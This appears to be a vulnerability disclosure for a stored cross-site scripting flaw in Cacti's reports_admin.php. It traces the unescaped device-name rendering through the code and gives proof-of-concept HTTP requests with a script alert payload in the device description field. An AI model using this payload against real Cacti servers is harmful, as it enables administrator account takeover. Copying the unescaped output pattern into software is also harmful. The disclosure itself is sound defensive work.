Summary

A Stored Cross-Site-Scripting Vulnerability allows an authenticated user to poison data stored in the cacti's database. These data will be viewed by administrative cacti accounts and execute JavaScript code in the victim's browser at view-time.

Details

The script under reports_admin.php displays reporting information about graphs, devices, data sources etc. CENSUS found that an adversary that is able to configure a malicious device name, related to a graph attached to a report, can deploy a stored XSS attack against any super user who has privileges of viewing the reports_admin.php page, such as administrative accounts.

A user that possesses the General Administration>Sites/Devices/Data permissions can configure the device names in cacti. This configuration occurs through http://<HOST>/cacti/host.php, while the rendered malicious payload is exhibited at http://<HOST>/cacti/reports_admin.php when the a graph with the maliciously altered device name is linked to the report.

We will follow with displaying the code call-pipeline that leads to the dangerous rendering code-block:

• reports_admin.php:156

reports_edit();

• html_reports.php:1585

print reports_generate_html($report['id'], REPORTS_OUTPUT_STDOUT);

• reports.php:902

$outstr .= reports_expand_device($report, $item, $item['host_id'], $output, $format_ok, $theme);

• reports.php:1048

$title = $title_delimiter . __('Device:') . " $description";

• reports.php:1136

$outstr .= "\t\t\t\t$title" . PHP_EOL;

Notice how the $title variable is concatenated with a non-escaped $description, which has the maliciously altered device name in it. This enables a malicious payload to break out of the current text context and append JavaScript code in the victim browser's DOM, thus leading to a Stored XSS attack.

A Stored XSS attack, aka Stored Cross Site Scripting attack, is manifested when an adversary poisons data that is stored in the backend with malicious JavaScript code. If a site is vulnerable to a stored XSS attack then when the poisoned data get rendered on the victim's browser, the malicious code block will become part of the browser's DOM and with thus be executed at view-time.

PoC

To verify the issue, one can perform a call of the following form, in order to place a malicious payload in the cacti database. Note that the relevant device is related to the graph which is linked to the targeted report page.

POST /cacti/host.php?header=false HTTP/1.1
Host: <HOST>
Content-Length: 739
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://<HOST>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close

__csrf_magic=<TOKEN>&description=%3Cscript%3Ealert('malicious+code+in+device+name')%3C%2Fscript%3E&hostname=localhost&location=&poller_id=1&site_id=1&host_template_id=1&device_threads=1&snmp_version=2&snmp_community=public&snmp_security_level=authPriv&snmp_auth_protocol=MD5&snmp_username=&snmp_password=&snmp_password_confirm=&snmp_priv_protocol=DES&snmp_priv_passphrase=&snmp_priv_passphrase_confirm=&snmp_context=&snmp_engine_id=&snmp_port=161&snmp_timeout=500&max_oids=10&bulk_walk_size=-1&availability_method=2&ping_method=1&ping_port=23&ping_timeout=400&ping_retries=1&notes=&external_id=&id=4&save_component_host=1&graph_template_id=26&snmp_query_id=5&reindex_method=1&action=save

For the attacker to place the malicious payload, the aforementioned General Administration>Sites/Devices/Data privileges are required. For the victim to view the malicious information, they should be permitted to view reports_admin.php page which is an Administrator-only privilege.

An example request that renders the malicious data can be found below:

GET /cacti/reports_admin.php?action=edit&id=1&tab=preview HTTP/1.1
Host: <HOST>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close

Following the rendered payload in the response of the request above

<tr class="text_row">
<td class="text" style="text-align:center;font-size: 10pt;">
Device: <script>alert('malicious code in device name')</script>
</td>
</tr> 

Impact

To perform the Stored XSS attack the adversary needs to be an authorized cacti user with the following permissions:

• General Administration>Sites/Devices/Data in order to create a device or edit an existent device's name

The victim of this attack is the administrator of the page or any other super user who can view the reports_admin.php page

Once the attacker has executed the malicious JavaScript within the victim's browser it is possible to

• perform a victim-account takeover
• perform arbitrary actions on the platform as the victim user
• redirect the user to a malicious website
• ask for sensitive information, under the cover of the cacti webpage
• run browser related exploits and attacks
• join a browser botnet and participate in a DDoS attack

Remediation

Before rendering this user supplied information either make this be a text element in the rendered HTML or escape (by using HTML entities) the content so that the malicious block will not be considered as code in the final HTML output.

The issue was identified by Vissarion Moutafis of CENSUS. CENSUS will be releasing an advisory for this issue once a release that fixes the issue becomes available (or in 90 days, whichever comes first). Should you require assistance with the review of the patch we will be more than happy to help!